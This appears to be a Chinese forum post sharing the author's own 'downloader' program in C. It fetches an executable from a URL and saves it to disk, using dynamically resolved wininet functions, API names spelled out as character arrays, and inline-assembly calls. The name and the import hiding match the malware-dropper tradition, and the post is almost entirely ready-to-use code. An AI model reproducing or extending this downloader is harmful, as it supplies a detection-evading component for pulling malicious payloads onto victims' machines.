自己写的一个下载者代码,为了减小程序的体积,所以用到的一些函数使用动态加载DLL,内嵌汇编的方式调用
#include <windows.h>
bool DownLoadFile(char *szUrl,char *szFile);
void main()
{
char szUrl[]="http://127.0.0.1/test.exe";
char szFile[]="d:\\test.exe";
DownLoadFile(szUrl,szFile);
}
bool DownLoadFile(char *szUrl,char *szFile)
{
char szWininet[12]={'w','i','n','i','n','e','t','.','d','l','l','\0'};
HMODULE hWininet=LoadLibrary(szWininet);
if(hWininet==NULL) return false;
char szInterOpenA[]={'I','n','t','e','r','n','e','t','O','p','e','n','A','\0'};
DWORD dwInterOpenA=(DWORD)GetProcAddress(hWininet,szInterOpenA);
char szInterOpenUrlA[]={'I','n','t','e','r','n','e','t','O','p','e','n','U','r','l','A','\0'};
DWORD dwInterOpenUrlA=(DWORD)GetProcAddress(hWininet,szInterOpenUrlA);
char szHttpQueryInfoA[]={'H','t','t','p','Q','u','e','r','y','I','n','f','o','A','\0'};
DWORD dwHttpQueryInfoA=(DWORD)GetProcAddress(hWininet,szHttpQueryInfoA);
char szInternetCloseHandle[]={'I','n','t','e','r','n','e','t','C','l','o','s','e','H','a','n','d','l','e','\0'};
DWORD dwInternetCloseHandle=(DWORD)GetProcAddress(hWininet,szInternetCloseHandle);
char szInternetReadFile[]={'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e','\0'};
DWORD dwInternetReadFile=(DWORD)GetProcAddress(hWininet,szInternetReadFile);
DWORD hInternet=NULL,hConnect=NULL;
char *szAgent="Mozilla/4.0";
_asm//InterOpenA
{
push 0;
push 0;
push 0;
push 0;
push szAgent;
call dwInterOpenA;
mov hInternet,eax;
}
char *szAccept="Accept: */*\r\n\r\n";
DWORD dwFlag=0X04000000|0X00000100|0X80000000;
_asm//InteOpenUrlA
{
push 0;
push dwFlag;
push -1;
push szAccept;
push szUrl;
push hInternet;
call dwInterOpenUrlA;
mov hConnect,eax;
}
char szDataSize[32]={0};
char *szTemp=szDataSize;
DWORD dwDataSizeBufLen=32;
DWORD *pdwDWORD=&dwDataSizeBufLen;
BOOL stat;
_asm//HttpQueryInfoA
{
push 0;
push pdwDWORD;
push szTemp;//为什么要转道湾,是因为编译器的缘故,不转道湾结果不正确。
push 5;
push hConnect;
call dwHttpQueryInfoA;
mov stat,eax;
}
DWORD dwRecvSize=0;
DWORD dwCurrentSize=0;
char szFileBuf[1024*8];
DWORD dwFileSize=atol(szDataSize);//先查询文件大小,如果需要显示文件下载进度时需要这个参数
HANDLE hFile=CreateFile(szFile,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE) goto end;
while(true)
{
memset(szFileBuf,0,1024*8);
pdwDWORD=&dwRecvSize;
szTemp=szFileBuf;
_asm//从网页读取文件内容
{
push pdwDWORD;
push 8192;
push szTemp;
push hConnect;
call dwInternetReadFile;
mov stat,eax;
}
if((!stat)||dwRecvSize==0)
break;
dwCurrentSize+=dwRecvSize;
DWORD dwWrite=0;
stat=WriteFile(hFile,szFileBuf,dwRecvSize,&dwWrite,NULL);
if(!stat)
break;
}
CloseHandle(hFile);
end:
_asm//关闭句柄
{
push hConnect;
call dwInternetCloseHandle;
push hInternet;
call dwInternetCloseHandle;
}
if(dwCurrentSize==dwFileSize)
return true;
else
return false;
}